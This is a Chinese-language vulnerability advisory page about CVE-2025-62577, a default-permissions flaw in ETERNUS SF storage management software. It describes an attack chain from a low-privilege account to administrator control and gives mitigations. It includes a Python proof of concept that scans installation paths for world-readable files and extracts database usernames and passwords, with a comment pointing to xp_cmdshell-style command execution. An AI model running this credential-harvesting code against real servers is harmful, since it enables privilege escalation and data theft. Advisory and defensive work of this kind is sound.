IPBUF安全漏洞报告
English
CVE-2025-62577 CVSS 8.8 高危

CVE-2025-62577:ETERNUS SF存储管理软件默认权限不当漏洞

披露日期: 2025-10-20

漏洞信息

漏洞编号
CVE-2025-62577
漏洞类型
默认权限不当(权限提升)
CVSS评分
8.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ETERNUS SF(Fsas Technologies Inc. / Fujitsu)

相关标签

默认权限不当权限提升ETERNUS SFFsas TechnologiesFujitsu存储管理本地提权凭据泄露数据库安全高危漏洞

漏洞概述

CVE-2025-62577是Fsas Technologies Inc.(原富士通)旗下ETERNUS SF存储管理软件中存在的一个高危安全漏洞,CVSS评分为8.8分。该漏洞属于"不正确的默认权限"(Incorrect Default Permissions)类别,由JPCERT/CC的vultures团队发现并报告。

ETERNUS SF是用于管理Fujitsu ETERNUS磁盘存储系统的一套综合管理软件,广泛应用于企业级存储环境。该漏洞的核心问题在于软件安装或配置过程中,对某些关键文件或目录设置了过于宽松的默认权限。低权限用户(具有管理服务器本地访问权限)能够读取包含数据库凭据的敏感配置文件,从而获取数据库访问权限。

更严重的是,获取数据库凭据后,攻击者可进一步利用这些凭据执行操作系统命令,最终以管理员(Administrator/root)权限完全控制管理服务器。由于管理服务器通常承担着存储系统集中管理的关键角色,一旦被攻破,可能导致存储数据泄露、篡改或破坏,对企业数据安全构成重大威胁。该漏洞的攻击向量为本地(AV:L),需要低权限认证(PR:L),无需用户交互(UI:N),但对机密性、完整性和可用性均产生高影响。

技术细节

该漏洞的根本原因在于ETERNUS SF管理软件在安装或初始化过程中,对存储数据库连接凭据的配置文件设置了不安全的默认文件系统权限(如全局可读或对特定用户组可读)。

**漏洞原理:**
1. ETERNUS SF在管理服务器上存储数据库连接信息(包括用户名和密码),通常以明文或弱加密形式保存在配置文件中。
2. 这些配置文件的默认权限设置不当,允许非管理员用户(如普通服务账户或本地用户组的成员)读取文件内容。
3. 攻击者以低权限账户登录管理服务器后,可通过文件系统浏览或简单的文件读取命令(如`cat`、`type`等)获取数据库凭据。
4. 获取凭据后,攻击者可连接到后端数据库,利用数据库特性(如存储过程、命令行执行函数等)执行操作系统命令。
5. 由于ETERNUS SF服务通常以高权限账户运行,攻击者最终获得管理员级别的系统访问权限。

**利用条件:**
- 攻击者需要拥有管理服务器的本地或远程登录权限
- 攻击者账户需具备基本的本地用户权限(PR:L)
- 无需用户交互(UI:N)
- 利用复杂度低(AC:L),攻击路径稳定可复现

攻击链分析

STEP 1
初始访问
攻击者通过合法途径(如被盗用的账户、社会工程学或内部威胁)获得ETERNUS SF管理服务器的本地低权限账户访问权限。
STEP 2
权限枚举
攻击者利用低权限账户枚举文件系统,寻找ETERNUS SF相关配置文件。由于默认权限不当,这些文件对低权限用户可读。
STEP 3
凭据提取
攻击者读取包含数据库连接信息的配置文件,获取数据库用户名和密码(明文或弱加密形式)。
STEP 4
数据库访问
攻击者使用获取的凭据连接到ETERNUS SF后端数据库,获得数据库操作权限。
STEP 5
权限提升
通过数据库特性(如存储过程、命令行执行函数等),攻击者执行操作系统命令。由于ETERNUS SF服务以高权限运行,攻击者获得管理员级别权限。
STEP 6
完全控制
攻击者完全控制管理服务器,可访问、修改或破坏管理的所有存储系统数据,实现对整个存储基础设施的完全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62577 PoC - ETERNUS SF Default Permissions Vulnerability # This PoC demonstrates how a low-privileged user can exploit # incorrect default permissions to obtain database credentials import os import sys # Step 1: Search for ETERNUS SF configuration files with weak permissions def find_eternus_config(): """ Search for ETERNUS SF configuration files containing database credentials Common locations include: - /opt/FJSVsf/*/config/ - /etc/FJSVsf/ - C:\Program Files\ETERNUS_SF\* """ search_paths = [ "/opt/FJSVsf", "/etc/FJSVsf", "/var/opt/FJSVsf", ] config_files = [] for path in search_paths: if os.path.exists(path): for root, dirs, files in os.walk(path): for f in files: fpath = os.path.join(root, f) # Check if file is world-readable (insecure default) mode = oct(os.stat(fpath).st_mode)[-3:] if mode[-1] in '4567': # world-readable config_files.append(fpath) return config_files # Step 2: Extract database credentials from config files def extract_credentials(config_path): """ Attempt to read database credentials from misconfigured files """ credentials = {} try: with open(config_path, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() # Look for common credential patterns import re user_match = re.search(r'(?:user|username|db_user)\s*[=:]\s*["\']?(\w+)["\']?', content, re.IGNORECASE) pass_match = re.search(r'(?:password|passwd|db_pass)\s*[=:]\s*["\']?([^"\'\s]+)["\']?', content, re.IGNORECASE) if user_match: credentials['username'] = user_match.group(1) if pass_match: credentials['password'] = pass_match.group(1) except PermissionError: print(f"[-] Permission denied: {config_path}") return credentials # Step 3: Main exploitation chain def exploit(): print("[*] CVE-2025-62577 - ETERNUS SF Default Permissions Exploit") print("[*] Searching for misconfigured ETERNUS SF files...") config_files = find_eternus_config() if not config_files: print("[-] No accessible config files found") return for cf in config_files: print(f"[+] Found accessible file: {cf}") creds = extract_credentials(cf) if creds: print(f"[+] Extracted credentials: {creds}") # Step 4: Use credentials to execute OS commands via DB # This would typically involve connecting to the database # and using features like xp_cmdshell or similar print("[!] Database access obtained - OS command execution possible") break if __name__ == "__main__": exploit()

影响范围

ETERNUS SF Manager 16.9 及之前版本
ETERNUS SF Manager 17.x(受影响版本范围需参考官方公告)
ETERNUS SF Express 16.9 及之前版本
ETERNUS SF Storage Cruiser(受影响版本)
ETERNUS SF AdvancedCopy Manager(受影响版本)

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)审查ETERNUS SF安装目录及其子目录的文件权限,将包含数据库凭据的配置文件权限收紧至仅管理员可访问(如Linux下设置为600或640,Windows下限制为Administrators组);2)限制管理服务器的本地登录权限,仅允许必要的运维人员访问;3)监控对ETERNUS SF配置目录的异常访问行为;4)考虑在管理服务器前部署堡垒机,集中管控访问行为;5)定期检查数据库连接日志,识别异常连接来源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表